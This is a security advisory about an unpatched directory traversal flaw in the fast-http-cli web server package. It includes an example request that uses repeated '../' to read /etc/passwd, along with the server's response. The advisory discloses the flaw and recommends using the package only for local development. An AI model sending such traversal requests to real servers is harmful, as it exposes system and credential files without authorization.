Directory Traversal

Module: fast-http-cli

Published: September 28th, 2017

Reported by: Liang Gong



Vulnerable: All
Patched: None


fast-http-cli is the command line interface for fast-http, a simple web server.

fast-http-cli is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing "../" in the url.

Example Request:

GET /../../../../../../../../../../etc/passwd HTTP/1.1
host: localhost

and server Response:

HTTP/1.1 200 OK
Date: Thu, 04 May 2017 23:59:18 GMT
Connection: keep-alive
Transfer-Encoding: chunked

{contents of /etc/passwd}


No patch is available for this vulnerability.

It is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.